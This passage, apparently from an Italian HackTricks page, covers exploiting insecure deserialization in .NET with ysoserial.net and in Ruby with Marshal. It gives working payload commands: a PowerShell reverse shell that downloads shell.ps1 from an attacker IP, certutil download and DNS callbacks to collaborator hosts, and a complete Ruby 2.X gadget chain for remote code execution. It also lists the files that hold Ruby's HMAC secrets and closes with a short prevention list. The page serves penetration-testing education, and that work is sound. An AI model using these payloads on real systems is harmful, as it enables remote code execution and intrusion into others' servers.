Le principali opzioni di ysoserial.net sono: --gadget, --formatter, --output e --plugin.

  • --gadget viene utilizzato per indicare il gadget da sfruttare (indicare la classe/funzione che verrà sfruttata durante la deserializzazione per eseguire comandi).
  • --formatter, utilizzato per indicare il metodo per serializzare l'exploit (è necessario sapere quale libreria viene utilizzata dal back-end per deserializzare il payload e utilizzarla per serializzarlo)
  • --output viene utilizzato per indicare se si desidera l'exploit in formato raw o codificato in Base64. Nota che ysoserial.net codificherà il payload utilizzando UTF-16LE (codifica utilizzata di default su Windows), quindi se si ottiene il raw e lo si codifica da una console Linux potrebbero verificarsi alcuni problemi di compatibilità di codifica che impediranno all'exploit di funzionare correttamente (nel caso della casella JSON di HTB, il payload ha funzionato sia in UTF-16LE che in ASCII, ma ciò non significa che funzionerà sempre).
  • --plugin ysoserial.net supporta plugin per creare exploit per framework specifici come ViewState

Altri parametri di ysoserial.net

  • --minify fornirà un payload più piccolo (se possibile)
  • --raf -f Json.Net -c "anything" Questo indicherà tutti i gadget che possono essere utilizzati con un formatter fornito (Json.Net in questo caso)
  • --sf xml puoi indicare un gadget (-g) e ysoserial.net cercherà formatters contenenti "xml" (case insensitive)

Esempi di ysoserial per creare exploit:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ha anche un parametro molto interessante che aiuta a capire meglio come funziona ogni exploit: --test. Se si indica questo parametro, ysoserial.net proverà l'exploit in locale, in modo da poter testare se il payload funzionerà correttamente. Questo parametro è utile perché, se si esamina il codice, si troveranno frammenti di codice come il seguente (da ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Ciò significa che per testare l'exploit, il codice chiamerà serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Nel codice precedente è presente una vulnerabilità che può essere sfruttata. Quindi, se trovi qualcosa di simile in un'applicazione .Net, significa che probabilmente anche quella applicazione è vulnerabile.
Pertanto, il parametro --test ci permette di capire quali parti di codice sono vulnerabili all'exploit di deserializzazione che può creare ysoserial.net.

ViewState

Dai un'occhiata a questo POST su come provare a sfruttare il parametro __ViewState di .Net per eseguire codice arbitrario. Se conosci già i segreti utilizzati dalla macchina vittima, leggi questo post per sapere come eseguire il codice.

Prevenzione

Per mitigare i rischi associati alla deserializzazione in .Net:

  • Evita di consentire ai flussi di dati di definire i tipi di oggetti. Utilizza DataContractSerializer o XmlSerializer quando possibile.

  • Per JSON.Net, imposta TypeNameHandling su None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Evita di utilizzare JavaScriptSerializer con un JavaScriptTypeResolver.

  • Limita i tipi che possono essere deserializzati, comprendendo i rischi intrinseci dei tipi .Net, come System.IO.FileInfo, che può modificare le proprietà dei file del server, portando potenzialmente a attacchi di negazione del servizio.

  • Sii cauto con i tipi che hanno proprietà rischiose, come System.ComponentModel.DataAnnotations.ValidationException con la sua proprietà Value, che può essere sfruttata.

  • Controlla in modo sicuro l'istanziazione dei tipi per impedire agli attaccanti di influenzare il processo di deserializzazione, rendendo vulnerabili anche DataContractSerializer o XmlSerializer.

  • Implementa controlli di whitelist utilizzando un SerializationBinder personalizzato per BinaryFormatter e JSON.Net.

  • Rimani informato sui gadget di deserializzazione insicuri noti in .Net e assicurati che i deserializzatori non istanzino tali tipi.

  • Isola il codice potenzialmente rischioso dal codice con accesso a Internet per evitare di esporre a fonti di dati non attendibili gadget noti, come System.Windows.Data.ObjectDataProvider nelle applicazioni WPF.

Riferimenti

Ruby

In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria marshal. Il primo metodo, chiamato dump, viene utilizzato per trasformare un oggetto in un flusso di byte. Questo processo è chiamato serializzazione. Al contrario, il secondo metodo, load, viene utilizzato per riportare un flusso di byte a un oggetto, un processo chiamato deserializzazione.

Per proteggere gli oggetti serializzati, Ruby utilizza HMAC (Hash-Based Message Authentication Code), garantendo l'integrità e l'autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in una delle possibili posizioni:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Catena di gadget di deserializzazione generica Ruby 2.X per RCE (ulteriori informazioni su https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Altre catene RCE per sfruttare Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: